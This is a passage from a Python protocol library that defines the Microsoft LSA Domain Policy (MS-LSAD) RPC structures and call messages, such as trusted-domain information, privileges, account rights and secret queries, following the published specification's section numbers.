PLSAPR_CR_CIPHER_VALUE), \n        ('OldPassword', PLSAPR_CR_CIPHER_VALUE), \n    )\n\n# 2.2.7.8 LSAPR_TRUSTED_DOMAIN_INFORMATION_BASIC\nLSAPR_TRUSTED_DOMAIN_INFORMATION_BASIC = LSAPR_TRUST_INFORMATION\n\n# 2.2.7.9 LSAPR_TRUSTED_DOMAIN_INFORMATION_EX\nclass LSAPR_TRUSTED_DOMAIN_INFORMATION_EX(NDRSTRUCT):\n    structure = (\n        ('Name', RPC_UNICODE_STRING), \n        ('FlatName', RPC_UNICODE_STRING), \n        ('Sid', PRPC_SID), \n        ('TrustDirection', ULONG), \n        ('TrustType', ULONG), \n        ('TrustAttributes', ULONG), \n    )\n\n# 2.2.7.10 LSAPR_TRUSTED_DOMAIN_INFORMATION_EX2\nclass LSAPR_TRUSTED_DOMAIN_INFORMATION_EX2(NDRSTRUCT):\n    structure = (\n        ('Name', RPC_UNICODE_STRING), \n        ('FlatName', RPC_UNICODE_STRING), \n        ('Sid', PRPC_SID), \n        ('TrustDirection', ULONG), \n        ('TrustType', ULONG), \n        ('TrustAttributes', ULONG), \n        ('ForestTrustLength', ULONG), \n        ('ForestTrustInfo', LPBYTE), \n    )\n\n# 2.2.7.17 LSAPR_AUTH_INFORMATION\nclass LSAPR_AUTH_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('LastUpdateTime', LARGE_INTEGER), \n        ('AuthType', ULONG), \n        ('AuthInfoLength', ULONG), \n        ('AuthInfo', LPBYTE), \n    )\n\nclass PLSAPR_AUTH_INFORMATION(NDRPOINTER):\n    referent = (\n        ('Data', LSAPR_AUTH_INFORMATION),\n    )\n\n# 2.2.7.11 LSAPR_TRUSTED_DOMAIN_AUTH_INFORMATION\nclass LSAPR_TRUSTED_DOMAIN_AUTH_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('IncomingAuthInfos', ULONG), \n        ('IncomingAuthenticationInformation', PLSAPR_AUTH_INFORMATION), \n        ('IncomingPreviousAuthenticationInformation', PLSAPR_AUTH_INFORMATION), \n        ('OutgoingAuthInfos', ULONG), \n        ('OutgoingAuthenticationInformation', PLSAPR_AUTH_INFORMATION), \n        ('OutgoingPreviousAuthenticationInformation', PLSAPR_AUTH_INFORMATION), \n    )\n\n# 2.2.7.16 LSAPR_TRUSTED_DOMAIN_AUTH_BLOB\nclass LSAPR_TRUSTED_DOMAIN_AUTH_BLOB(NDRSTRUCT):\n    structure = (\n        ('AuthSize', ULONG), \n        ('AuthBlob', LPBYTE), \n    )\n\n# 2.2.7.12 LSAPR_TRUSTED_DOMAIN_AUTH_INFORMATION_INTERNAL\nclass LSAPR_TRUSTED_DOMAIN_AUTH_INFORMATION_INTERNAL(NDRSTRUCT):\n    structure = (\n        ('AuthBlob', LSAPR_TRUSTED_DOMAIN_AUTH_BLOB), \n    )\n\n# 2.2.7.13 LSAPR_TRUSTED_DOMAIN_FULL_INFORMATION\nclass LSAPR_TRUSTED_DOMAIN_FULL_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('Information', LSAPR_TRUSTED_DOMAIN_INFORMATION_EX), \n        ('PosixOffset', TRUSTED_POSIX_OFFSET_INFO), \n        ('AuthInformation', LSAPR_TRUSTED_DOMAIN_AUTH_INFORMATION), \n    )\n\n# 2.2.7.14 LSAPR_TRUSTED_DOMAIN_FULL_INFORMATION_INTERNAL\nclass LSAPR_TRUSTED_DOMAIN_FULL_INFORMATION_INTERNAL(NDRSTRUCT):\n    structure = (\n        ('Information', LSAPR_TRUSTED_DOMAIN_INFORMATION_EX), \n        ('PosixOffset', TRUSTED_POSIX_OFFSET_INFO), \n        ('AuthInformation', LSAPR_TRUSTED_DOMAIN_AUTH_INFORMATION_INTERNAL), \n    )\n\n# 2.2.7.15 LSAPR_TRUSTED_DOMAIN_FULL_INFORMATION2\nclass LSAPR_TRUSTED_DOMAIN_FULL_INFORMATION2(NDRSTRUCT):\n    structure = (\n        ('Information', LSAPR_TRUSTED_DOMAIN_INFORMATION_EX), \n        ('PosixOffset', TRUSTED_POSIX_OFFSET_INFO), \n        ('AuthInformation', LSAPR_TRUSTED_DOMAIN_AUTH_INFORMATION), \n    )\n\n# 2.2.7.18 TRUSTED_DOMAIN_SUPPORTED_ENCRYPTION_TYPES\nclass TRUSTED_DOMAIN_SUPPORTED_ENCRYPTION_TYPES(NDRSTRUCT):\n    structure = (\n        ('SupportedEncryptionTypes', ULONG), \n    )\n\n# 2.2.7.3 LSAPR_TRUSTED_DOMAIN_INFO\nclass LSAPR_TRUSTED_DOMAIN_INFO(NDRUNION):\n    union = {\n        TRUSTED_INFORMATION_CLASS.TrustedDomainNameInformation          : ('TrustedDomainNameInfo', LSAPR_TRUSTED_DOMAIN_NAME_INFO ),\n        TRUSTED_INFORMATION_CLASS.TrustedControllersInformation         : ('TrustedControllersInfo', LSAPR_TRUSTED_CONTROLLERS_INFO),\n        TRUSTED_INFORMATION_CLASS.TrustedPosixOffsetInformation         : ('TrustedPosixOffsetInfo', TRUSTED_POSIX_OFFSET_INFO),\n        TRUSTED_INFORMATION_CLASS.TrustedPasswordInformation            : ('TrustedPasswordInfo', LSAPR_TRUSTED_PASSWORD_INFO ),\n        TRUSTED_INFORMATION_CLASS.TrustedDomainInformationBasic         : ('TrustedDomainInfoBasic', LSAPR_TRUSTED_DOMAIN_INFORMATION_BASIC),\n        TRUSTED_INFORMATION_CLASS.TrustedDomainInformationEx            : ('TrustedDomainInfoEx', LSAPR_TRUSTED_DOMAIN_INFORMATION_EX),\n        TRUSTED_INFORMATION_CLASS.TrustedDomainAuthInformation          : ('TrustedAuthInfo', LSAPR_TRUSTED_DOMAIN_AUTH_INFORMATION),\n        TRUSTED_INFORMATION_CLASS.TrustedDomainFullInformation          : ('TrustedFullInfo', LSAPR_TRUSTED_DOMAIN_FULL_INFORMATION),\n        TRUSTED_INFORMATION_CLASS.TrustedDomainAuthInformationInternal  : ('TrustedAuthInfoInternal', LSAPR_TRUSTED_DOMAIN_AUTH_INFORMATION_INTERNAL),\n        TRUSTED_INFORMATION_CLASS.TrustedDomainFullInformationInternal  : ('TrustedFullInfoInternal', LSAPR_TRUSTED_DOMAIN_FULL_INFORMATION_INTERNAL),\n        TRUSTED_INFORMATION_CLASS.TrustedDomainInformationEx2Internal   : ('TrustedDomainInfoEx2', LSAPR_TRUSTED_DOMAIN_INFORMATION_EX2),\n        TRUSTED_INFORMATION_CLASS.TrustedDomainFullInformation2Internal : ('TrustedFullInfo2', LSAPR_TRUSTED_DOMAIN_FULL_INFORMATION2),\n        TRUSTED_INFORMATION_CLASS.TrustedDomainSupportedEncryptionTypes : ('TrustedDomainSETs', TRUSTED_DOMAIN_SUPPORTED_ENCRYPTION_TYPES),\n    }\n\n# 2.2.7.19 LSAPR_TRUSTED_ENUM_BUFFER\nclass LSAPR_TRUST_INFORMATION_ARRAY(NDRUniConformantArray):\n    item = LSAPR_TRUST_INFORMATION\n\nclass PLSAPR_TRUST_INFORMATION_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', LSAPR_TRUST_INFORMATION_ARRAY),\n    )\n\nclass LSAPR_TRUSTED_ENUM_BUFFER(NDRSTRUCT):\n    structure = (\n        ('Entries', ULONG), \n        ('Information', PLSAPR_TRUST_INFORMATION_ARRAY), \n    )\n\n# 2.2.7.20 LSAPR_TRUSTED_ENUM_BUFFER_EX\nclass LSAPR_TRUSTED_DOMAIN_INFORMATION_EX_ARRAY(NDRUniConformantArray):\n    item = LSAPR_TRUSTED_DOMAIN_INFORMATION_EX\n\nclass PLSAPR_TRUSTED_DOMAIN_INFORMATION_EX_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', LSAPR_TRUSTED_DOMAIN_INFORMATION_EX_ARRAY),\n    )\n\nclass LSAPR_TRUSTED_ENUM_BUFFER_EX(NDRSTRUCT):\n    structure = (\n        ('Entries', ULONG), \n        ('EnumerationBuffer', PLSAPR_TRUSTED_DOMAIN_INFORMATION_EX_ARRAY), \n    )\n\n# 2.2.7.22 LSA_FOREST_TRUST_RECORD_TYPE\nclass LSA_FOREST_TRUST_RECORD_TYPE(NDRENUM):\n    class enumItems(Enum):\n        ForestTrustTopLevelName   = 0\n        ForestTrustTopLevelNameEx = 1\n        ForestTrustDomainInfo     = 2\n\n# 2.2.7.24 LSA_FOREST_TRUST_DOMAIN_INFO\nclass LSA_FOREST_TRUST_DOMAIN_INFO(NDRSTRUCT):\n    structure = (\n        ('Sid', PRPC_SID), \n        ('DnsName', LSA_UNICODE_STRING), \n        ('NetbiosName', LSA_UNICODE_STRING), \n    )\n\n# 2.2.7.21 LSA_FOREST_TRUST_RECORD\nclass LSA_FOREST_TRUST_DATA_UNION(NDRUNION):\n    union = {\n        LSA_FOREST_TRUST_RECORD_TYPE.ForestTrustTopLevelName   : ('TopLevelName', LSA_UNICODE_STRING ),\n        LSA_FOREST_TRUST_RECORD_TYPE.ForestTrustTopLevelNameEx : ('TopLevelName', LSA_UNICODE_STRING),\n        LSA_FOREST_TRUST_RECORD_TYPE.ForestTrustDomainInfo     : ('DomainInfo', LSA_FOREST_TRUST_DOMAIN_INFO),\n    }\n\nclass LSA_FOREST_TRUST_RECORD(NDRSTRUCT):\n    structure = (\n        ('Flags', ULONG), \n        ('ForestTrustType', LSA_FOREST_TRUST_RECORD_TYPE), \n        ('Time', LARGE_INTEGER), \n        ('ForestTrustData', LSA_FOREST_TRUST_DATA_UNION), \n    )\n\nclass PLSA_FOREST_TRUST_RECORD(NDRPOINTER):\n    referent = (\n        ('Data', LSA_FOREST_TRUST_RECORD),\n    )\n\n# 2.2.7.23 LSA_FOREST_TRUST_BINARY_DATA\nclass LSA_FOREST_TRUST_BINARY_DATA(NDRSTRUCT):\n    structure = (\n        ('Length', ULONG), \n        ('Buffer', LPBYTE), \n    )\n\n# 2.2.7.25 LSA_FOREST_TRUST_INFORMATION\nclass LSA_FOREST_TRUST_RECORD_ARRAY(NDRUniConformantArray):\n    item = PLSA_FOREST_TRUST_RECORD\n\nclass PLSA_FOREST_TRUST_RECORD_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', LSA_FOREST_TRUST_RECORD_ARRAY),\n    )\n\nclass LSA_FOREST_TRUST_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('RecordCount', ULONG), \n        ('Entries', PLSA_FOREST_TRUST_RECORD_ARRAY), \n    )\n\nclass PLSA_FOREST_TRUST_INFORMATION(NDRPOINTER):\n    referent = (\n        ('Data', LSA_FOREST_TRUST_INFORMATION),\n    )\n\n# 2.2.7.26 LSA_FOREST_TRUST_COLLISION_RECORD_TYPE\nclass LSA_FOREST_TRUST_COLLISION_RECORD_TYPE(NDRENUM):\n    class enumItems(Enum):\n        CollisionTdo   = 0\n        CollisionXref  = 1\n        CollisionOther = 2\n\n# 2.2.7.27 LSA_FOREST_TRUST_COLLISION_RECORD\nclass LSA_FOREST_TRUST_COLLISION_RECORD(NDRSTRUCT):\n    structure = (\n        ('Index', ULONG), \n        ('Type', LSA_FOREST_TRUST_COLLISION_RECORD_TYPE), \n        ('Flags', ULONG), \n        ('Name', LSA_UNICODE_STRING), \n    )\n\n# 2.2.8.1 LSAPR_POLICY_PRIVILEGE_DEF\nclass LSAPR_POLICY_PRIVILEGE_DEF(NDRSTRUCT):\n    structure = (\n        ('Name', RPC_UNICODE_STRING), \n        ('LocalValue', LUID), \n    )\n\n# 2.2.8.2 LSAPR_PRIVILEGE_ENUM_BUFFER\nclass LSAPR_POLICY_PRIVILEGE_DEF_ARRAY(NDRUniConformantArray):\n    item = LSAPR_POLICY_PRIVILEGE_DEF\n\nclass PLSAPR_POLICY_PRIVILEGE_DEF_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', LSAPR_POLICY_PRIVILEGE_DEF_ARRAY),\n    )\n\nclass LSAPR_PRIVILEGE_ENUM_BUFFER(NDRSTRUCT):\n    structure = (\n        ('Entries', ULONG), \n        ('Privileges', PLSAPR_POLICY_PRIVILEGE_DEF_ARRAY), \n    )\n\n\n################################################################################\n# RPC CALLS\n################################################################################\n# 3.1.4.4.1 LsarOpenPolicy2 (Opnum 44)\nclass LsarOpenPolicy2(NDRCALL):\n    opnum = 44\n    structure = (\n       ('SystemName', LPWSTR),\n       ('ObjectAttributes',LSAPR_OBJECT_ATTRIBUTES),\n       ('DesiredAccess',ACCESS_MASK),\n    )\n\nclass LsarOpenPolicy2Response(NDRCALL):\n    structure = (\n       ('PolicyHandle',LSAPR_HANDLE),\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.4.2 LsarOpenPolicy (Opnum 6)\nclass LsarOpenPolicy(NDRCALL):\n    opnum = 6\n    structure = (\n       ('SystemName', LPWSTR),\n       ('ObjectAttributes',LSAPR_OBJECT_ATTRIBUTES),\n       ('DesiredAccess',ACCESS_MASK),\n    )\n\nclass LsarOpenPolicyResponse(NDRCALL):\n    structure = (\n       ('PolicyHandle',LSAPR_HANDLE),\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.4.3 LsarQueryInformationPolicy2 (Opnum 46)\nclass LsarQueryInformationPolicy2(NDRCALL):\n    opnum = 46\n    structure = (\n       ('PolicyHandle', LSAPR_HANDLE),\n       ('InformationClass',POLICY_INFORMATION_CLASS),\n    )\n\nclass LsarQueryInformationPolicy2Response(NDRCALL):\n    structure = (\n       ('PolicyInformation',PLSAPR_POLICY_INFORMATION),\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.4.4 LsarQueryInformationPolicy (Opnum 7)\nclass LsarQueryInformationPolicy(NDRCALL):\n    opnum = 7\n    structure = (\n       ('PolicyHandle', LSAPR_HANDLE),\n       ('InformationClass',POLICY_INFORMATION_CLASS),\n    )\n\nclass LsarQueryInformationPolicyResponse(NDRCALL):\n    structure = (\n       ('PolicyInformation',PLSAPR_POLICY_INFORMATION),\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.4.5 LsarSetInformationPolicy2 (Opnum 47)\nclass LsarSetInformationPolicy2(NDRCALL):\n    opnum = 47\n    structure = (\n       ('PolicyHandle', LSAPR_HANDLE),\n       ('InformationClass',POLICY_INFORMATION_CLASS),\n       ('PolicyInformation',LSAPR_POLICY_INFORMATION),\n    )\n\nclass LsarSetInformationPolicy2Response(NDRCALL):\n    structure = (\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.4.6 LsarSetInformationPolicy (Opnum 8)\nclass LsarSetInformationPolicy(NDRCALL):\n    opnum = 8\n    structure = (\n       ('PolicyHandle', LSAPR_HANDLE),\n       ('InformationClass',POLICY_INFORMATION_CLASS),\n       ('PolicyInformation',LSAPR_POLICY_INFORMATION),\n    )\n\nclass LsarSetInformationPolicyResponse(NDRCALL):\n    structure = (\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.4.7 LsarQueryDomainInformationPolicy (Opnum 53)\nclass LsarQueryDomainInformationPolicy(NDRCALL):\n    opnum = 53\n    structure = (\n       ('PolicyHandle', LSAPR_HANDLE),\n       ('InformationClass',POLICY_DOMAIN_INFORMATION_CLASS),\n    )\n\nclass LsarQueryDomainInformationPolicyResponse(NDRCALL):\n    structure = (\n       ('PolicyDomainInformation',PLSAPR_POLICY_DOMAIN_INFORMATION),\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.4.8 LsarSetDomainInformationPolicy (Opnum 54)\n# 3.1.4.5.1 LsarCreateAccount (Opnum 10)\nclass LsarCreateAccount(NDRCALL):\n    opnum = 10\n    structure = (\n       ('PolicyHandle', LSAPR_HANDLE),\n       ('AccountSid',RPC_SID),\n       ('DesiredAccess',ACCESS_MASK),\n    )\n\nclass LsarCreateAccountResponse(NDRCALL):\n    structure = (\n       ('AccountHandle',LSAPR_HANDLE),\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.5.2 LsarEnumerateAccounts (Opnum 11)\nclass LsarEnumerateAccounts(NDRCALL):\n    opnum = 11\n    structure = (\n       ('PolicyHandle', LSAPR_HANDLE),\n       ('EnumerationContext',ULONG),\n       ('PreferedMaximumLength',ULONG),\n    )\n\nclass LsarEnumerateAccountsResponse(NDRCALL):\n    structure = (\n       ('EnumerationContext',ULONG),\n       ('EnumerationBuffer',LSAPR_ACCOUNT_ENUM_BUFFER),\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.5.3 LsarOpenAccount (Opnum 17)\nclass LsarOpenAccount(NDRCALL):\n    opnum = 17\n    structure = (\n       ('PolicyHandle', LSAPR_HANDLE),\n       ('AccountSid',RPC_SID),\n       ('DesiredAccess',ACCESS_MASK),\n    )\n\nclass LsarOpenAccountResponse(NDRCALL):\n    structure = (\n       ('AccountHandle',LSAPR_HANDLE),\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.5.4 LsarEnumeratePrivilegesAccount (Opnum 18)\nclass LsarEnumeratePrivilegesAccount(NDRCALL):\n    opnum = 18\n    structure = (\n       ('AccountHandle', LSAPR_HANDLE),\n    )\n\nclass LsarEnumeratePrivilegesAccountResponse(NDRCALL):\n    structure = (\n       ('Privileges',PLSAPR_PRIVILEGE_SET),\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.5.5 LsarAddPrivilegesToAccount (Opnum 19)\nclass LsarAddPrivilegesToAccount(NDRCALL):\n    opnum = 19\n    structure = (\n       ('AccountHandle', LSAPR_HANDLE),\n       ('Privileges', LSAPR_PRIVILEGE_SET),\n    )\n\nclass LsarAddPrivilegesToAccountResponse(NDRCALL):\n    structure = (\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.5.6 LsarRemovePrivilegesFromAccount (Opnum 20)\nclass LsarRemovePrivilegesFromAccount(NDRCALL):\n    opnum = 20\n    structure = (\n       ('AccountHandle', LSAPR_HANDLE),\n       ('AllPrivileges', UCHAR),\n       ('Privileges', PLSAPR_PRIVILEGE_SET),\n    )\n\nclass LsarRemovePrivilegesFromAccountResponse(NDRCALL):\n    structure = (\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.5.7 LsarGetSystemAccessAccount (Opnum 23)\nclass LsarGetSystemAccessAccount(NDRCALL):\n    opnum = 23\n    structure = (\n       ('AccountHandle', LSAPR_HANDLE),\n    )\n\nclass LsarGetSystemAccessAccountResponse(NDRCALL):\n    structure = (\n       ('SystemAccess', ULONG),\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.5.8 LsarSetSystemAccessAccount (Opnum 24)\nclass LsarSetSystemAccessAccount(NDRCALL):\n    opnum = 24\n    structure = (\n       ('AccountHandle', LSAPR_HANDLE),\n       ('SystemAccess', ULONG),\n    )\n\nclass LsarSetSystemAccessAccountResponse(NDRCALL):\n    structure = (\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.5.9 LsarEnumerateAccountsWithUserRight (Opnum 35)\nclass LsarEnumerateAccountsWithUserRight(NDRCALL):\n    opnum = 35\n    structure = (\n       ('PolicyHandle', LSAPR_HANDLE),\n       ('UserRight', PRPC_UNICODE_STRING),\n    )\n\nclass LsarEnumerateAccountsWithUserRightResponse(NDRCALL):\n    structure = (\n       ('EnumerationBuffer',LSAPR_ACCOUNT_ENUM_BUFFER),\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.5.10 LsarEnumerateAccountRights (Opnum 36)\nclass LsarEnumerateAccountRights(NDRCALL):\n    opnum = 36\n    structure = (\n       ('PolicyHandle', LSAPR_HANDLE),\n       ('AccountSid', RPC_SID),\n    )\n\nclass LsarEnumerateAccountRightsResponse(NDRCALL):\n    structure = (\n       ('UserRights',LSAPR_USER_RIGHT_SET),\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.5.11 LsarAddAccountRights (Opnum 37)\nclass LsarAddAccountRights(NDRCALL):\n    opnum = 37\n    structure = (\n       ('PolicyHandle', LSAPR_HANDLE),\n       ('AccountSid', RPC_SID),\n       ('UserRights',LSAPR_USER_RIGHT_SET),\n    )\n\nclass LsarAddAccountRightsResponse(NDRCALL):\n    structure = (\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.5.12 LsarRemoveAccountRights (Opnum 38)\nclass LsarRemoveAccountRights(NDRCALL):\n    opnum = 38\n    structure = (\n       ('PolicyHandle', LSAPR_HANDLE),\n       ('AccountSid', RPC_SID),\n       ('AllRights', UCHAR),\n       ('UserRights',LSAPR_USER_RIGHT_SET),\n    )\n\nclass LsarRemoveAccountRightsResponse(NDRCALL):\n    structure = (\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.6.1 LsarCreateSecret (Opnum 16)\nclass LsarCreateSecret(NDRCALL):\n    opnum = 16\n    structure = (\n       ('PolicyHandle', LSAPR_HANDLE),\n       ('SecretName', RPC_UNICODE_STRING),\n       ('DesiredAccess', ACCESS_MASK),\n    )\n\nclass LsarCreateSecretResponse(NDRCALL):\n    structure = (\n       ('SecretHandle', LSAPR_HANDLE),\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.6.2 LsarOpenSecret (Opnum 28)\nclass LsarOpenSecret(NDRCALL):\n    opnum = 28\n    structure = (\n       ('PolicyHandle', LSAPR_HANDLE),\n       ('SecretName', RPC_UNICODE_STRING),\n       ('DesiredAccess', ACCESS_MASK),\n    )\n\nclass LsarOpenSecretResponse(NDRCALL):\n    structure = (\n       ('SecretHandle', LSAPR_HANDLE),\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.6.3 LsarSetSecret (Opnum 29)\nclass LsarSetSecret(NDRCALL):\n    opnum = 29\n    structure = (\n       ('SecretHandle', LSAPR_HANDLE),\n       ('EncryptedCurrentValue', PLSAPR_CR_CIPHER_VALUE),\n       ('EncryptedOldValue', PLSAPR_CR_CIPHER_VALUE),\n    )\n\nclass LsarSetSecretResponse(NDRCALL):\n    structure = (\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.6.4 LsarQuerySecret (Opnum 30)\nclass LsarQuerySecret(NDRCALL):\n    opnum = 30\n    structure = (\n       ('SecretHandle', LSAPR_HANDLE),\n       ('EncryptedCurrentValue', PPLSAPR_CR_CIPHER_VALUE),\n       ('CurrentValueSetTime', PLARGE_INTEGER),\n       ('EncryptedOldValue', PPLSAPR_CR_CIPHER_VALUE),\n       ('OldValueSetTime', PLARGE_INTEGER),\n    )\n\nclass LsarQuerySecretResponse(NDRCALL):\n    structure = (\n       ('EncryptedCurrentValue', PPLSAPR_CR_CIPHER_VALUE),\n       ('CurrentValueSetTime', PLARGE_INTEGER),\n       ('EncryptedOldValue', PPLSAPR_CR_CIPHER_VALUE),\n       ('OldValueSetTime', PLARGE_INTEGER),\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.6.5 LsarStorePrivateData (Opnum 42)\nclass LsarStorePrivateData(NDRCALL):\n    opnum = 42\n    structure = (\n       ('PolicyHandle', LSAPR_HANDLE),\n       ('KeyName', RPC_UNICODE_STRING),\n       ('EncryptedData', PLSAPR_CR_CIPHER_VALUE),\n    )\n\nclass LsarStorePrivateDataResponse(NDRCALL):\n    structure = (\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.6.6 LsarRetrievePrivateData (Opnum 43)\nclass LsarRetrievePrivateData(NDRCALL):\n    opnum = 43\n    structure = (\n       ('PolicyHandle', LSAPR_HANDLE),\n       ('KeyName', RPC_UNICODE_STRING),\n       ('EncryptedData', PLSAPR_CR_CIPHER_VALUE),\n    )\n\nclass LsarRetrievePrivateDataResponse(NDRCALL):\n    structure = (\n       ('EncryptedData', PLSAPR_CR_CIPHER_VALUE),\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.7.1 LsarOpenTrustedDomain (Opnum 25)\n# 3.1.4.7.1 LsarQueryInfoTrustedDomain (Opnum 26)\n# 3.1.4.7.2 LsarQueryTrustedDomainInfo (Opnum 39)\n# 3.1.4.7.3 LsarSetTrustedDomainInfo (Opnum 40)\n# 3.1.4.7.4 LsarDeleteTrustedDomain (Opnum 41)\n# 3.1.4.7.5 LsarQueryTrustedDomainInfoByName (Opnum 48)\n# 3.1.4.7.6 LsarSetTrustedDomainInfoByName (Opnum 49)\n# 3.1.4.7.7 LsarEnumerateTrustedDomainsEx (Opnum 50)\nclass LsarEnumerateTrustedDomainsEx(NDRCALL):\n    opnum = 50\n    structure = (\n       ('PolicyHandle', LSAPR_HANDLE),\n       ('EnumerationContext', ULONG),\n       ('PreferedMaximumLength', ULONG),\n    )\n\nclass LsarEnumerateTrustedDomainsExResponse(NDRCALL):\n    structure = (\n       ('EnumerationContext', ULONG),\n       ('EnumerationBuffer',LSAPR_TRUSTED_ENUM_BUFFER_EX),\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.7.8 LsarEnumerateTrustedDomains (Opnum 13)\nclass LsarEnumerateTrustedDomains(NDRCALL):\n    opnum = 13\n    structure = (\n       ('PolicyHandle', LSAPR_HANDLE),\n       ('EnumerationContext', ULONG),\n       ('PreferedMaximumLength', ULONG),\n    )\n\nclass LsarEnumerateTrustedDomainsResponse(NDRCALL):\n    structure = (\n       ('EnumerationContext', ULONG),\n       ('EnumerationBuffer',LSAPR_TRUSTED_ENUM_BUFFER),\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.7.9 LsarOpenTrustedDomainByName (Opnum 55)\n# 3.1.4.7.10 LsarCreateTrustedDomainEx2 (Opnum 59)\n# 3.1.4.7.11 LsarCreateTrustedDomainEx (Opnum 51)\n# 3.1.4.7.12 LsarCreateTrustedDomain (Opnum 12)\n# 3.1.4.7.14 LsarSetInformationTrustedDomain (Opnum 27)\n# 3.1.4.7.15 LsarQueryForestTrustInformation (Opnum 73)\nclass LsarQueryForestTrustInformation(NDRCALL):\n    opnum = 73\n    structure = (\n       ('PolicyHandle', LSAPR_HANDLE),\n       ('TrustedDomainName', LSA_UNICODE_STRING),\n       ('HighestRecordType', LSA_FOREST_TRUST_RECORD_TYPE),\n    )\n\nclass LsarQueryForestTrustInformationResponse(NDRCALL):\n    structure = (\n       ('ForestTrustInfo', PLSA_FOREST_TRUST_INFORMATION),\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.7.16 LsarSetForestTrustInformation (Opnum 74)\n\n# 3.1.4.8.1 LsarEnumeratePrivileges (Opnum 2)\nclass LsarEnumeratePrivileges(NDRCALL):\n    opnum = 2\n    structure = (\n       ('PolicyHandle', LSAPR_HANDLE),\n       ('EnumerationContext', ULONG),\n       ('PreferedMaximumLength', ULONG),\n    )\n\nclass LsarEnumeratePrivilegesResponse(NDRCALL):\n    structure = (\n       ('EnumerationContext', ULONG),\n       ('EnumerationBuffer', LSAPR_PRIVILEGE_ENUM_BUFFER),\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.8.2 LsarLookupPrivilegeValue (Opnum 31)\nclass LsarLookupPrivilegeValue(NDRCALL):\n    opnum = 31\n    structure = (\n       ('PolicyHandle', LSAPR_HANDLE),\n       ('Name', RPC_UNICODE_STRING),\n    )\n\nclass LsarLookupPrivilegeValueResponse(NDRCALL):\n    structure = (\n       ('Value', LUID),\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.8.3 LsarLookupPrivilegeName (Opnum 32)\nclass LsarLookupPrivilegeName(NDRCALL):\n    opnum = 32\n    structure = (\n       ('PolicyHandle', LSAPR_HANDLE),\n       ('Value', LUID),\n    )\n\nclass LsarLookupPrivilegeNameResponse(NDRCALL):\n    structure = (\n       ('Name', PRPC_UNICODE_STRING),\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.8.4 LsarLookupPrivilegeDisplayName (Opnum 33)\nclass LsarLookupPrivilegeDisplayName(NDRCALL):\n    opnum = 33\n    structure = (\n       ('PolicyHandle', LSAPR_HANDLE),\n       ('Name', RPC_UNICODE_STRING),\n       ('ClientLanguage', USHORT),\n       ('ClientSystemDefaultLanguage', USHORT),\n    )\n\nclass LsarLookupPrivilegeDisplayNameResponse(NDRCALL):\n    structure = (\n       ('Name', PRPC_UNICODE_STRING),\n       ('LanguageReturned', UCHAR),\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.9.1 LsarQuerySecurityObject (Opnum 3)\nclass LsarQuerySecurityObject(NDRCALL):\n    opnum = 3\n    structure = (\n       ('PolicyHandle', LSAPR_HANDLE),\n       ('SecurityInformation', SECURITY_INFORMATION),\n    )\n\nclass LsarQuerySecurityObjectResponse(NDRCALL):\n    structure = (\n       ('SecurityDescriptor', PLSAPR_SR_SECURITY_DESCRIPTOR),\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.9.2 LsarSetSecurityObject (Opnum 4)\nclass LsarSetSecurityObject(NDRCALL):\n    opnum = 4\n    structure = (\n       ('PolicyHandle', LSAPR_HANDLE),\n       ('SecurityInformation', SECURITY_INFORMATION),\n       ('SecurityDescriptor', LSAPR_SR_SECURITY_DESCRIPTOR),\n    )\n\nclass LsarSetSecurityObjectResponse(NDRCALL):\n    structure = (\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.9.3 LsarDeleteObject (Opnum 34)\nclass LsarDeleteObject(NDRCALL):\n    opnum = 34\n    structure = (\n       ('ObjectHandle', LSAPR_HANDLE),\n    )\n\nclass LsarDeleteObjectResponse(NDRCALL):\n    structure = (\n       ('ObjectHandle', LSAPR_HANDLE),\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.9.4 LsarClose (Opnum 0)\nclass LsarClose(NDRCALL):\n    opnum = 0\n    structure = (\n       ('ObjectHandle', LSAPR_HANDLE),\n    )\n\nclass LsarCloseResponse(NDRCALL):\n    structure = (\n       ('ObjectHandle', 